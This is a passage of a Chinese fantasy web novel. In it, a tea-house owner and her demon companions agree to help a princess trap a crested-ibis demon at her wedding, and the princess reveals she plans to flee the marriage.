玄隐当初留下一封辞别信便离家远行,一别便是十八年,如今难得回了家,竟没待几天又要远行。但他的爹娘和妹妹却没冉青云想象中那么依依不舍。
玄隐的妹妹拍了拍他的肩,语重心长地说:“哥,你在城里好好干!早日发达!等我长大了,我也去投靠你!”
玄隐的阿娘笑眯眯地说:“小隐呀,你去外头要注意安全呀!还有,不要总撒娇耍小性子,要和你的主……”
她“主人”两字还没说完,就被玄隐火速地打断了:“哎哎哎,我知道我知道,你别唠叨啦!”
上次玄隐的阿娘讲到“主人”二字,冉青云明显就不太开心,还连连否认。虽说玄隐并不知道冉青云为什么要否认,但他害怕这次她听见后又会不开心,所以急忙止住了他阿娘的话头。
玄隐的爹爹捂着嘴笑:“哟,小年轻还害羞呢!”他对于“主人”是人类恋人间的爱称一事深信不疑,还以为他们只是脸皮薄,不好意思。
玄隐一家在那儿嘻嘻哈哈地告别,全然没有依依惜别、潸然泪下的场面。
冉青云突然意识到,这是因为,在他们看来,玄隐外出十几年也不过是出了一趟时间不长不短的远门罢了。妖族与人族对于时间的感知终究是不一样的。
听说当朝皇帝整日找人研究长生不老之术,希望自己能和长寿的妖族一样拥有上千年的寿命。
但冉青云却一点儿也不想要长生不老,正是因为人生短短百年,她才每天都过得充实非凡,总觉得有干不完的事情需要抓紧去做。若是人生一下子变成了上千年,她反而不知道该怎么生活才好了。
他们原路返回,离开龙宫岛,顺着灵河而下,渡过东涟海,在临渔城雇了长风镖局分局的镖师驾着马车护送,回到了天虞城。
还没踏入城门,冉青云的传书玉玺突然亮了,是纪映阳的消息:“千万别进城!城里有好多卫兵,正在到处找灿灿呢!”
与此同时,城门口的卫兵拦住了她们的马车,高声道:“停车!例行检查!”
55. 皇城公主篇(一)
冉青云前一秒刚收到纪映阳让她们千万别进城的消息,下一秒城门口的卫兵就已经拦住了她们的车,嘴里高声喊着:“例行检查!”
很多黑衣人在找白灿灿?
还联合了城主府的卫兵?
这究竟是怎么一回事?
难道是白灿灿之前失控时损坏了街道、撞伤了行人,所以现在已经被官府通缉了?
现在要怎么办?
要先让白灿灿幻化成陌生人的模样吗?但她现在还收不起自己的尾巴,几条狐尾大大咧咧地敞在外头,别人一看就知道她是狐妖。
冉青云还来不及多想,那卫兵已伸手掀开了车帘。
他另一只手攥着一张泛黄的麻纸,麻纸上赫然画着白灿灿的画像。
难道还真是通缉令?
那卫兵看见白灿灿的脸,愣了愣,随后视线又移向她那几条搂到身前充当抱枕的毛茸茸尾巴,开口喊道:“白……”
三十六计走为上计,冉青云不等他说完,伸手将丫丫揽过来往胳肢窝下一夹,双手各自抓住刘掌柜和白灿灿的后领,“嗖——”的一声从那卫兵身旁蹿了出去,往东门外的山坡上跑。
小黑蛟玄隐本来盘在冉青云脖子上睡大觉,差点儿被甩了下去,一下子清醒过来,缠紧冉青云的脖子,在呼呼风声中大喊:“发生什么事啦——”
刘掌柜和白灿灿也一脸懵,只有丫丫迎着风儿开心地大喊:“呀呀!”
身后,那卫兵大声喊起来:“找到了!找到了!她们往坡上跑了!”
他的声音越响亮,冉青云溜得越快。
听见卫兵的喊声,附近突然出现一大波黑衣人,朝着冉青云逃跑的方向追了上去,远远望去,仿佛密密麻麻的黑鲫鱼贯而出。
其中,脚程最快、跑在最前的是一名身着红衣的年轻男子,看上去似乎是这群人的首领。
他的轻功水平明显不低,几个起落便领先了其余黑衣人一大截。
若是公平比试,冉青云的轻功自然更胜一筹,但此时冉青云身上还带着一人三妖,负重前行,速度便慢了一些。
那男子与冉青云之间的距离越来越近,只见他脚下一点,向前一跃,轻飘飘地落在冉青云面前,挡住了她的去路。
冉青云向后一瞥,后头的黑衣人们成洋葱式层层叠叠的包围状赶了过来,包围圈严严实实,只怕是无路可逃。
眼前那红衣男子突然屈膝下蹲,冉青云原以为他要蓄力前冲,急忙放下手里的刘掌柜等人,空出双手,拔出腰间的桃木剑,预备迎接一场恶斗。
谁知那男子膝盖一弯,就势跪了下去,恭恭敬敬地喊道:“吾主有难,望贵人出手相助!”
闻言,身后黑压压地跪倒了一片,膝盖磕地之声齐响,黑衣人们齐声高喊:“吾主有难,望贵人出手相助!”
声音震天动地。
???
不、不是来抓捕,而是来求助?
冉青云拔剑四顾心茫然。
那红衣男子见她们没有回话,低下头头重重地往地上一磕,声音响亮,又喊道:“吾主有难,望贵人出手相助!”
眼看着身后的黑衣人也要齐齐磕起响头来,冉青云回过神来,急忙伸手想扶起那红衣男子,连声道:“起来再说,起来再说……”
谁知那男子却倔强得很,跪在地上不愿起身,固执地重复道:“吾主有难……”
……
服了!
简直像个人机啊!
城门外这小山坡面积不大,此时挤挤攘攘地跪了几百人,场面十分壮观。东门那儿已经围了不少看热闹的居民,纷纷探头往这边张望着。
冉青云耳力极佳,听见围观群众们窃窃私语:
“那边又怎么了?咋滴人那么多?”
“我瞧瞧……中间被围着的好像是香梅茶楼那几个人……”
“哦!香梅茶楼啊!那就不稀奇了,她们三天两头的出事,自从她们来了天虞城后,城里都热闹多了!”
“她们不会是要被抓了吧……已经连着几天没表演看了,我家里显影石都落灰了……”
“也不知香梅茶楼怎么停业这么久,之前那玲珑阁东家的栽赃诬陷不都真相大白了吗?”
“前几天有人见到那狐妖打伤了冉老板,我听说,是她俩都爱上了那黑蛟妖,争风吃醋,所以才大打出手……”
“你说的可不对,我当时亲眼见着香梅茶楼里那蛟妖将狐妖捆得严严实实,我听说呀,是他俩为了争夺冉老板第一爱宠的名号,要拼个你死我活!”
冉青云绷不住了,扶着额头,胡言乱语道:“帮,帮,帮,不就是出手相助吗?说走咱就走啊,我们该出手时就出手……”
光冉青云答应还不够,那红衣男子又将目光转向白灿灿,倔头倔脑的,继续固执地重复道:“吾主有难,望白姑娘……”
他翻来覆去就这么一句话,听得耳朵都要长茧了。白灿灿急忙点头如捣蒜,接过他的话头往下说:“出手相助!我也愿意出手相助!”
见她们都点了头,那红衣男子终于起了身,拱手作揖道:“姑娘们的恩德,小的不胜感激!”
刘掌柜却留了个心眼,问道:“我们都愿意帮忙,但你们也得先说说究竟要我们帮什么忙呀……我们都是良民,杀人放火的事儿我们可不干……”
已经不只一次光天化日之下在大街上使用引火诀放火的良民冉青云尴尬地抬头望望天。
失控暴走毁坏街道、要不是被冉青云几人拦着差点儿闹出人命的良民白灿灿尴尬地低头看鞋尖。
红衣男子郑重地点点头,说:“自然不可能是伤天害理之事。此事说来话长……”
眼看他要说起长篇大论,山坡上几百黑衣人还杵那儿罚站呢,冉青云急忙打断他的话:“既然说来话长,那就之后再说!对了,还没问您尊姓大名?”
红衣男子拱手道:“小的名叫潘小五,你们唤我小五即可。”
冉青云连连点头,说:“好的,潘公子。你看我们这才刚回来,风尘仆仆的,得先回家换身衣服。不如这样,您先让诸位解散,您跟着我们回一趟香梅茶楼,到时再细细详谈,您看如何?”
***
她们回到香梅茶楼时,纪映阳正拿着扫帚在扫地,几日无人的茶楼大堂已积了一层薄薄的灰。
冉青云刚踏进大门,纪映阳就放下扫帚迎了上来,压低声音道:“你们怎么回来了?你没看到我给你发的消息么?灿灿身体怎么样了?我看看……”他甩下一连串问题,不等冉青云回答,又探着头往她身后张望,急着想看看白灿灿。
哪知他不仅看见了白灿灿,还看见了紧随其后身着红衣的潘小五。
纪映阳一愣,潘小五见纪映阳面露不解,当即拱手作揖,就要解释起来:“事情是这样的,吾主有难,望……”
眼看潘小五又要进入复读机模式,冉青云急忙摆手让他们别傻站在门口,说:“进去再说,进去再说。”
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等到冉青云几人换好了干净衣裳下楼,纪映阳才终于把事情搞明白了:“……所以说,黑衣人和卫兵们到处找白灿灿,不是为了抓她,是为了找她帮忙?”
冉青云点点头,看向潘小五,问道:“潘公子,您想让我们帮的是什么忙?我们一定尽力而为。”
潘小五面色凝重,正色道:“我家主子婚期将至,却被一只朱鹮妖盯上了。那朱鹮妖最近日日在公主府附近游荡,甚至口出狂言,放下狠话说要在我家主子大婚当日将她掳走,所以……”
他话还没说完,纪映阳已瞠目结舌,结结巴巴道:“什、什么?我没听错的话,你刚刚说的是公主府?”
潘小五点点头,竖起食指嘘了一声,压低声音说:“嘘!此事不可张扬,莫要走漏了消息。”
纪映阳:“那那那、那你是……”
潘小五:“小的是公主的贴身侍卫,奉命来天虞城寻白姑娘。”
公主的贴身侍卫?!
听他自称“小的”,言行举止都摆了低姿态,还以为他只是哪家富商或是哪个帮派里豢养的手下……
公主的侍卫至少官高四品,冉青云等人应称其“潘大人”才是。
潘小五接着说:“那朱鹮妖机警狡猾、妖力高强,我们也找了不少捉妖师助阵,始终抓不住他,反而被他打成重伤。公主平日里爱用显影石看香梅茶楼的演出,灵机一动便想了个法子,让我们将白姑娘请到皇城去,让白姑娘在大婚当日伪装成公主的模样,设计将那朱鹮妖抓住。”
刘掌柜皱了皱眉:“那岂不是将灿灿置于危险之中了……”
潘小五:“您说的没错,所以公主也吩咐了,若是白姑娘不愿意,我们绝对不能动用武力强求。”
说罢,他扑通一声往地上一跪,速度之快,连冉青云都没扶住。潘小五跪在地上,磕了个响头,大声说:“求你们救救公主吧!届时我们府内所有侍卫都会拼力保护白姑娘的安危,最后不管事成与否,都一定会献上重礼。”
冉青云想将他扶起来,没想到他跪得坚如磐石,一动不动,大有“你们不同意我就不起来了”之意。
……公主命令你不能强求,所以你就软求是么?
白灿灿开了口:“我愿意帮忙。”
她看向冉青云,说:“你见了需要帮助的妖,哪怕素不相识,你也是毫不犹豫地出手相助。我身为妖族,也想试一试帮助素不相识的人是什么感受。”
潘小五喜上眉梢,笑道:“多谢白姑娘!多谢白姑娘!”
白灿灿摆摆手:“不必客气,那我们现在就启程去皇城吗?”
还没等到回答,一个身影突然闯进了香梅茶楼。
竟是庞千山,他神色慌张,连襥头帽都忘了戴,顶着一个光溜溜的秃头脑袋跑了进来,怀里还抱着奄奄一息的犬妖陈小雪。
冉青云急忙问:“发生什么事了?”
陈小雪虚弱地说:“我……我感知到三三姐姐出事了……她、她现在……正受着挖心之痛……”短短一句话,陈小雪说得十分吃力,说完便捂着胸口剧烈地咳嗽起来,呕出一口鲜血。
看来陈三妹和陈小雪不只共享了性命,还共享了痛觉。
陈小雪擦了擦嘴角的血,说:“我能够感知到她所处的位置——她现在在皇城……”
皇城?
冉青云不由得看向来自皇城的潘小五。
她们刚要出发前去皇城,陈三妹竟恰巧在皇城里受了重伤,这真的是巧合吗?
56. 皇城公主篇(二)
陈小雪话音刚落,突然倒在庞千山怀里抽搐起来,表情扭曲,四脚僵直,嘴角溢出艳红的血沫。
庞千山抱着她,低头看着陈小雪痛苦的模样,眼角淌下两行泪,悲呼道:“雪儿姐!雪儿姐!”
他抬头看向冉青云,哆哆嗦嗦地说:“已、已是第二次了,雪儿姐能对阿姐的痛楚感同身受,今日这已是她第二次感受到剜心之痛了……”
陈三妹身手了得,寻常恶鬼皆奈何不了她,她究竟是遇到了什么大麻烦?短短一天之内竟然被剜心两次……
庞千山缓缓道:“十多天前,阿姐说怀疑封锁冥界的结界出了问题,于是就收拾行李出发去冥界边缘调查。之后她便音信全无。”
他伸手轻轻擦拭陈小雪嘴角的血沫,继续说:“从前,她出远门时也总是专注于办事,常常忘了和我们联系,我们早已习以为常,还以为这次也是一样。可直到今日,雪儿姐突然感受到剜心之痛,我们才知道阿姐出事了……”
陈小雪此时终于从痛苦的抽搐中缓过神来,咳了几声,有气无力地说:“求你们、求你们去皇城救救三三姐姐……她肯定是被抓住了,抓住她的那人必定心狠手辣、穷凶极恶、惨无人道,竟做出此等剜心之事……”
她嘴里溢出的血沫浸湿了脖颈和前胸,毛发变成湿答答的一绺一绺。
陈小雪平日里最爱漂亮,毛发护理得如丝绸般柔顺,头上总要戴着一朵小花。可她此时根本顾及不了形象,一心只想着远在皇城受苦受难的陈三妹。
冉青云安抚道:“你别着急,我们正好要去皇城,现在马上就可以出发!我们一起去皇城救她!”
陈小雪却摇了摇头,拒绝道:“不,我要留在天虞城,皇城太危险了,我要保证自己能在安全的地方好好地活着……只要我不死,三三姐姐也不会死。”
庞千山也说:“我也留在天虞城,我得在这里保护雪儿姐。”
他红着眼眶,重复了一遍陈小雪的话:“只要雪儿姐不死,阿姐就不会死。”
***
除了留在天虞城看店的刘掌柜外,其余几人当天便跟着潘小五的车队出发前往皇城,两人三妖挤在一辆马车之中。
人参妖丫丫似乎以为要外出郊游,将圆圆的脑袋伸出车窗,迎着风儿“呀呀呀”地哼歌。
冉青云是一刻也停不下来的劳碌命,在车上就布置起了战术:“灿灿化形成公主的长相参加婚宴之前,记得提前留下带有自己血迹的帕子,等那朱鹮妖将你抓走,我们便能靠血追踪术找到你的位置。”
她想了想,对玄隐说:“玄隐,你也留下带血的帕子吧,到时你偷偷盘在白灿灿袖子里躲起来,这样有双重保障才比较稳妥,万一追踪灿灿时出了什么岔子,还能对玄隐使用血追踪术。更何况,你们一起被抓走还能相互照应,更安全一些。毕竟我和纪映阳脚程再快,估计也比不上那朱鹮妖飞行的速度,在我们找到你们之前,你们还得和那朱鹮妖周旋一番。”
玄隐乖巧地点了点头。
冉青云又叮嘱道:“你们俩不要激怒他。听上去那朱鹮妖似乎是将公主错认成他的一位熟人,灿灿可以试着套一套他的话。”
白灿灿也乖巧地连连点头。
一旁的纪映阳却托着腮、撅着嘴,一脸的不悦,他和刘掌柜一样,对白灿灿大病初愈便要出远门一事大力反对,忍不住嘟嘟囔囔道:“这世上又不是只有一只会化形的狐妖,怎么就非得要灿灿去帮忙?”
世上确实有不少会化形的狐妖,但敢在人类城镇中抛头露面的狐妖怕是只有白灿灿一位,大多狐妖都隐居在荒山之中,潘小五想在公主大婚之前到野外找到一只狐妖又谈何容易。
纪映阳的反对无人在意,马车依旧马不停蹄地驶向皇城。
皇城离天虞城并不算远,他们在马车上和衣而睡,晃晃悠悠了一晚,第二天一大早,便抵达了皇城。
此时晨光微曦,街道上行人寥寥无几,只听得远处几声清脆的鸟鸣。
车队原地解散,只留潘小五驾着冉青云等人所坐的马车,继续沿着主道行驶。
在一座院墙高筑的府邸前,马车停了下来,潘小五拉开门帘,轻声说道:“各位大人,公主府已到了。”
几人听见声音,睡眼惺忪地起了床,迷迷瞪瞪地下了车,跟在潘小五身后。
守门的禁军侍卫认出潘小五,拱手道:“潘大人请稍等。”说罢往府内一路小跑,不多时便跑了回来,气喘吁吁道:“诸位请进,公主大人已在书房候着了。”
入门便是小桥流水、曲折游廊,大家跟着潘小五左绕右绕地走了一阵,来到一间典雅的厢房前。
潘小五刚想禀报,还未开口,门内已传来一声悠悠的动听女声:“进来吧。”
进了门,只见一位雍容华贵的女子端坐在紫檀书桌前,头戴红珠金叉,身着锦缎长裙,宽大的裙摆逶迤身后。
潘小五单膝跪地,微微欠身,恭恭敬敬地说:“参见公主”
众人照猫画虎,也行了礼。
公主颔首道:“免礼。”语气淡淡的,像一只高傲的猫。
冉青云正想自我介绍:“草民是……”
公主却轻轻摇了摇头,说:“不必介绍,本宫认得你们。”
她看向白灿灿,柔声道:“白灿灿白姑娘。”
又望向冉青云和盘在她脖子上的小黑蛟玄隐、窝在她怀里的人参妖丫丫,红唇微启:“冉青云冉老板、玄隐玄公子、人参妖丫丫。”
最后将视线投向纪映阳:“……”然后,无声地将视线移开。
纪映阳:几个意思???全都认识,就不认识我是吧???
冉青云看着纪映阳嘴角抽抽却敢怒不敢言的样子,忍不住偷笑。
欸,不对,公主怎么连人参妖丫丫都认识?丫丫可从没在显影石中出过镜!
许是看出了冉青云脸上的诧异,公主不紧不慢地说:“父皇曾邀凌霄真人入宫,设宴款待,希望她能担任宫廷捉妖师一职,可惜凌霄真人婉拒了。但本宫也因此与凌霄真人有了一面之缘,自此成了忘年之交,不时有书信往来。”
她这么一说,冉青云和纪映阳才想起来,两三年前似乎是有这么一回事——凌霄真人出了趟远门,不久就回来了。谁知道那时师尊竟然是去了一趟皇宫,还差点儿成了宫廷捉妖师?
公主叹了一口气,道:“当时凌霄真人的选择无疑是正确的。近两年来,父皇沉迷研制长生不死的仙丹妙药,根本
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不问世事,宫廷捉妖师与宫廷驱鬼人这两个职位早已形同虚设。”
冉青云忍不住问:“既然您与恩师认识,直接让她命令我们前来不就行了,何必大费周章地派人跑去天虞城?”
公主说:“此事是让白姑娘代替本宫陷于危难之中,自然要讲究礼数,上门求助,既不可以皇权强压,也不可用交情勒索。”
“无关紧要的废话便不多说了。”公主慢条斯理地说,“那朱鹮妖的事你们应该已从潘小五那儿得知了,具体的情况由本宫和你们详细讲讲。”
她回忆起来:“那是上月中旬的一个晚上,本宫正在院中独酌赏月,那朱鹮妖突然悄无声息地飞了进来,说要带本宫离开这儿。”
“本宫自然是不依,他又问本宫是不是还怨他。本宫根本就从未见过他,何来怨怼之说。”
“惊慌之下,本宫便扇了他一巴掌……哪知道本宫扇完巴掌,他竟喜形于色,说自己没认错人,还说什么一定是因为怨他才不认他……”
公主的一双纤纤玉手看上去柔弱无骨,一看就是娇生惯养,从没干过重活,没想到她遇见了妖怪竟敢直接抡对方耳光,也不知该说她胆子大,还是该说她不要命。
公主接着说:“本宫没忍住又接连扇了他几巴掌,谁知道那妖物有什么毛病,越扇巴掌,他笑得越开心。无奈,本宫只好大声呼救,小五听到求救声,带着其他侍卫们前来营救。”
“那朱鹮妖见我们人多势众,便溜之大吉,此后一直在公主府附近游荡。后来他知父皇为本宫定下来婚事,更是盘旋在公主府上空长啸不止,放话说要在本宫大婚之日将本宫带走。”
冉青云分析:“听上去,似乎是那朱鹮妖将你错认成什么人了……”
公主点头道:“是的,但本宫确实不认识他。或许那朱鹮妖看人类,就像本宫看朱鹮鸟一样,都觉得长得差不多,因此才认错了吧。”
之后,她又说起大婚之日的安排与流程,众人讨论起如何在婚宴当日将白灿灿伪装成公主等事。
敲定了计划之后,公主突然说:“还有一事,本宫想单独和灿灿姑娘谈谈。”
白灿灿有些迟疑地看了一眼冉青云,冉青云知她怕生,不想与公主独处,便护犊子地挡在前头,说:“有什么事情,公主您和我谈也是一样的。”
公主身份尊贵,被冉青云如此拂了面子,她却也不恼怒,只是点了点头,淡淡地说:“那你们两人一起留下吧,麻烦其他人暂且避一避。”
屏退其他人后,公主开口说道:“你们千里迢迢来帮本宫捉拿朱鹮妖,本宫万分感谢,左思右想,觉得有一件事情不能瞒着你们,以免坏了捉拿朱鹮妖的计划。”
公主压低了声音,说:“此时事关重大,知道的人越少越好。”
冉青云和白灿灿点头如捣蒜,洗耳恭听。
公主:“是这样的,在大婚当日,本宫打算趁机逃婚,所以……”
她话还没说完,冉青云忍不住震惊道:“逃、逃婚?”差点儿咬到了自己的舌头。
难怪要屏退他人私下说明,御赐的婚事也敢逃?这可是杀头的大罪啊!
公主不紧不慢地点点头,面色如常,温声道:“是的,本宫打算逃婚。”
57. 皇城公主篇(三)
康宁公主神情严肃,悄声道:“事关重大,知道的人越少越好。”
她浅浅一笑,缓缓说:“本宫相信二位的为人,希望二位能帮我保守秘密。”
公主的秘密?这是她们能听得了的么?
但公主都这么说了,冉青云和白灿灿也不敢不从,当即点头如捣蒜,洗耳恭听。
康宁公主颔首:“是这样的——在大婚当日,本宫打算趁机逃婚,所以……”
她话还没说完,冉青云忍不住震惊道:“逃、逃婚?”差点儿咬到了自己的舌头。
难怪要屏退他人私下说明,御赐的婚事也敢逃?这可是杀头的大罪啊!
康宁公主不紧不慢地点点头,温声道:“是的,本宫打算逃婚。”
与大惊失色的冉青云不同,白灿灿却面色如常。她幼时生活在山林间,不懂人类世俗的条条框框,后来被刘掌柜收养,可刘掌柜终身未嫁,因而白灿灿对婚姻大事没什么概念,并不觉得逃婚是什么大事,只是好奇道:“公主逃婚,莫不成是因为有了心上人吗?”
“本宫有没有心上人,与本宫逃不逃婚又有什么关系?如今父皇一天到晚只知找国师研究长生不老之术,对国师言听计从。这次指婚也是听了国师的建议,竟将我许配给一个不学无术的纨绔。”
“婚嫁吉日也是那国师卜算出来的,哪怕那朱鹮妖放话说要在婚宴当日将本宫抓走,父皇也不愿将婚宴取消或是推迟。万一,哪天那国师说要让他献祭掉自己的亲生女儿,怕是他也会毫不犹豫。”
听起来,皇家之中并无什么温馨亲情可言。
但对于冷血的父皇,康宁公主却似乎不因他难过,正色道:“婚宴上人群杂乱、纷纷攘攘,自然是逃跑时机的不二之选,届时还可以将事情推脱到那朱鹮妖身上,就说他抢亲成功,本宫下落不明。”
冉青云回想起上辈子看过的那些落跑新娘的小说,公主一向养尊处优,也不知能不能适应未来的穷苦生活,不由得为公主担心:“那您逃婚后有什么打算吗?”
康宁公主笑道:“以当朝的传统,公主下嫁,嫁资一般少于一万两黄金。到时直接让潘小五扛着这金子一起走,我们跑到天涯海角,几辈子都花不完。”
……打、打扰了。
有钱就是可以为所欲为啊……
等下,潘大人也掺和在这件事情里?
没想到潘大人官至四品,竟也愿意舍了一切追随公主,真是忠心耿耿。
冉青云感叹道:“潘大人不愧是皇家护卫,明知公主计划逃婚,却仍面不改色、泰然自若,演得好似全然不知道这件事一样!”
康宁公主却摇了摇头:“本宫确实还未将计划逃婚一事告诉他。他一向不会撒谎,若是露馅了可怎么办?”
啊?不知会一声就将人拖下贼船吗?
冉青云忍不住冒昧地问:“那万一……我是说万一,他到时不同意怎么办?”
康宁公主不解道:“本宫与他两情相悦,本就该双宿双飞,他为什么不同意?”
两情相悦?!
潘小五确实对康宁公主忠心耿耿,但冉青云见他对康宁公主一直毕恭毕敬,言行举止毫无任何逾越之处。
除非他心机深沉、善于伪装,不然怎能面对恋人时表现得如此恭恭敬敬的?
但康宁公主又说潘小五一向不会说谎……
冉青云已经冒昧过一次,一回生二回熟,此时鼓起勇气又问道:“冒昧地问一句……潘大人知道你们两情相悦吗?”
康宁公主皱了皱眉头,不悦地说:“难道你们觉得是本宫在胡诌吗?”
冉青云和白灿灿哪敢点头,没否认已是最勇敢的表态了。
见状,康宁公主快步走到门前,开了门,喊道:“潘小五,你过来。”
话音刚落,不知从哪儿蹦出来的潘小五已在来公主身前,单膝跪地,低头道:“小的在。”
进了房间,门一关,公主开口便问:“潘小五,你是不是心悦本宫?”
潘小五没抬头,看不清他的表情,只听得他毫无感情、背书般一字一句地说:“公主贵为千金之躯,与小的乃是云泥之别,小的……”
康宁公主伸手比了个“停”的手势,冷冷地说:“别讲废话,你只需点头或者摇头就好了。”
说完,她俯下身,小声地对潘小五说:“你若是敢摇头,本宫就命人将你脑袋砍了,挂到城墙上晾个三天三夜。”
但书房拢共就这么大,康宁公主说得再小声,冉青云和白灿灿都听得一清二楚。
闻言,潘小五果真闭了嘴,默默抬起脑袋,僵硬地点了点头。
康宁公主大手一挥:“好了,没你的事了,你出去吧。”
潘小五退下后,康宁公主朝着冉青云和白灿灿昂起头,得意道:“看到了吧,都说了他心悦本宫。”
冉青云和白灿灿看得目瞪口呆。
这就是专制皇权的力量吗?!
这就是一刻钟前亲口说出“既不可以皇权强压,也不可用交情勒索”的康宁公主吗?!
***
康宁公主的婚宴就在三日之后,府中紧锣密鼓地筹备婚宴之事。
白灿灿恶补了整整三日的宫廷礼仪。
冉青云则记挂着陈三妹,一有空便带着纪映阳外出寻找线索,但找了三日,却一无所获。
很快来到了大婚当日。
按照流程,驸马爷会从自家府邸出发,带着聘礼骑马至公主府,随后,公主坐上红轿子,随着驸马爷绕城游行一圈,陪嫁物品与仆人则尾随其后,最后回到公主府,在公主府设宴待客。
天光微亮,公主府康宁公主卧房中,几位嬷嬷和丫鬟已正在为白灿灿梳妆打扮。
此时,白灿灿俨然已变成康宁公主的模样,凤冠霞帔,皓齿朱唇,雍容华贵。
一想到今日就要迎战朱鹮妖了,白灿灿紧张得大半宿都没睡,好不容易睡着了,没多久便被喊起来,一群嬷嬷和丫鬟将她围了起来,洗漱、更衣、梳妆。
嬷嬷和丫鬟们生怕出了岔子,画起妆来又精细又讲究,单是眉毛便用不同颜色的螺子黛或浅或深地描了三遍。白灿灿坐得腰都酸了,只觉得她们太过磨叽,这妆容若是她自己来画,一刻钟便已画好了。
可惜她如今是假公主,只好乖乖坐着任凭摆弄。
嬷嬷和丫鬟退下后,真正的康宁公主才从屏风后走了出来。
康宁公主见白灿灿眼底一片青黑,知道她定是没休息好,说:“真是辛苦你了,到时你头上这些首饰你都带走吧。可惜这些首饰司珍司都登记了款式模样,刻有标识,外头的典当铺是不敢收的,但你可以自己私下里戴着玩,或是把金饰融了再塑。”
闻言,白灿灿顿
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时腰不酸了腿不痛了,精神焕发,嘴角止不住地上扬。
康宁公主拍了拍手,对门外喊道:“潘小五,带人进来吧。”
冉青云和纪映阳身穿侍卫服饰,混在潘小五带领的队伍里,正在院中站岗,听见康宁公主的声音,便跟着潘小五一齐进了房内,行礼谢安。
起身后,纪映阳目不转睛地盯着眼前的白灿灿,虽然此时她幻化成了公主的模样,但纪映阳不由得想象起白灿灿自己身穿嫁衣的样子,心潮澎湃,忍不住夸道:“真……真好看……”
康宁公主甩了他一记眼刀,冷冰冰道:“这是本宫的婚宴,不是你的婚宴,你不必发表感想。”
纪映阳委屈地看向冉青云,用唇语告状,无声地呐喊:“她一定是对我有意见!!!之前她肯定是装做不知道我的名字!!!我究竟怎么招她惹她了?”
冉青云发现,潘小五竟也望着白灿灿愣了神。
康宁公主问道:“你们准备得如何了?”她讲起正事时,自带久居上位的气势。
潘小五回答:“侍卫们都安排好了,迎送新娘的队伍里,陪嫁仆人皆换成了身手极好的侍卫。”
纪映阳也说:“虽说那朱鹮妖应该不会蠢到在大婚当日进入公主府抢人,但为了以防万一,我和师姐还是在公主府布下了金刚阵,若他闯入,我立即就可催动阵法,让他无法逃出公主府半步。”
冉青云补充道:“金刚阵会耗费法力,还要保证布阵用的铜钱不被挪动,实在没法在整个皇城布下金刚阵。若是那朱鹮妖在送亲队伍游行来抢亲,就只能见机行事。我和纪映阳会先试着拦住他,若实在拦不住,也能追踪着玄隐或白灿灿找到他的位置。”
说罢,她伸手牵住白灿灿的手,缠在她手腕上的小黑蛟便顺着相握的手爬到了白灿灿的手腕,将蛟身缠了几圈,乖乖地躲在袖子里。
康宁公主点点头:“不错,到时你们万事小心。不论能不能抓到朱鹮妖,事后本宫都会拿出一千两黄金答谢你们。”
一千两黄金!!!
这都够她们全国到处开茶楼分店了!
冉白纪三人顿时喜上眉梢,异口同声道:“多谢公主!”
康宁公主摆摆手,说:“本宫有话要与青云、灿灿交代,其他人先出去吧。”
潘小五低头应了一声,倒退着出了房间。纪映阳倒是不情不愿,临走前还用唇语对冉青云和白灿灿说:“我就说她在针对我!”
关门后,康宁公主低声说:“本宫已吩咐潘小五,等朱鹮妖出现后,便让他趁乱扛着装有黄金的木箱去往皇城西门外的荒山上等候。他虽不知缘由,但到时肯定会乖乖听我的命令行事。”
她面带微笑,接着说:“而到时我便乔装打扮,偷偷溜出府,去西门荒山与他会和。希望一切顺利,今日之后,本宫,不,我便不再是康宁公主,而仅仅只是卓文心了。”
装着黄金万两的木箱?
那得六百来斤了吧!
扛着六百多斤的箱子从城内跑到荒山?
你俩还真是一个敢吩咐一个敢答应。
但冉青云只敢在心里蛐蛐,不敢表现出来。
谁知,窗外竟传来一个戏谑的男子声音,替冉青云将憋在心里的吐槽说了出来:“你还真是想一出说一出。哪怕潘小五功夫再好,让他扛着六百多斤的箱子瞎跑,也不怕他闪了腰。”
58. 皇城公主篇(四)
窗外响起一个陌生的声音:“你还真是想一出说一出。哪怕潘小五功夫再好,让他扛着六百多斤的箱子瞎跑,也不怕他闪了腰!”语气懒散又轻浮。
是谁?逃婚一事居然被他偷听到了?
冉青云和白灿灿登时警觉起来,闻声望去。与此同时,冉青云的手已握在了剑柄之上,白灿灿染了丹蔻的指甲也幻化成了利爪。
康宁公主却面色如常,走向窗边,不紧不慢地对冉青云和白灿灿说:“莫慌,这位是冯公子,也就是父皇为本宫指婚的驸马爷。我打算逃婚一事,已经提前告知他了。”
说罢,她打开了窗。窗外,一位年轻男子倒挂在窗檐上,容貌俊美,红衣似火。随后,他腰腹一卷,毫不客气地从窗外翻身进屋。
他便是康宁公主口中说的那个“不学无术的纨绔”?
纪映阳和潘小五就在院墙外候着,竟完全没发觉他溜了进来。
能够避开重重守卫,悄无声息地溜入公主府,酒囊饭袋可没有这么好的身手。
一进屋,冯公子便笑眯眯地看着白灿灿,掏出了插在腰间的竹丝扇,手握折扇,抬起了白灿灿的下巴,夸赞道:“小狐妖的化形之术可真了不得,看上去与心儿果真一模一样。”
对于初次见面的白灿灿,他毫无礼貌地称她为“小狐妖”;对于身份尊贵的康宁公主,他又不分尊卑地唤她作“心儿”。
果真轻佻孟浪。
康宁公主将他拿着折扇的手打落,冷冷道:“冯思华,你对本宫的贵客放尊重一些。你可知男女授受不亲?”
冯公子却耸了耸肩,摊手道:“好好好,是我错了,是我错了还不行吗?”又嘟嘟囔囔道:“现在说什么男女授受不亲,从前你将我按在地上打的时候怎么不说男女授受不亲……”
康宁公主不再搭理他,转身对冉青云和白灿灿说:“他曾是太子伴读,所以我们儿时就认识了。本宫为他今日的冒犯道歉。”
好在白灿灿是只狐妖,压根儿不懂男女之事,自然也不觉得被冒犯。若换成冉青云,早就将这位冯公子的手腕掰折了。
就这么个轻浮浪荡之人,能保守好公主打算逃婚的秘密吗?
康宁公主看出冉青云对冯公子明晃晃的敌意,解释说:“虽说他行事孟浪,但为人还是可信的。”
又说:“更何况,若是瞒着他,等本宫逃了婚,那他岂不是成了天下的笑柄?这样对他也不公平。”
啊?那你提前和他说一声,他难道就不会成为天下的笑柄吗?
谁知冯公子“啪”的一声打开折扇,在这秋末冬初的寒冷时节里,自以为潇洒非凡地摇起了折扇,笑道:“不过是被弃婚罢了,便轻轻松松换来三千两黄金,天下哪有这么划算的卖卖?”
康宁公主点点头:“本宫承诺将三成嫁资赠与他,就当作是补偿。”
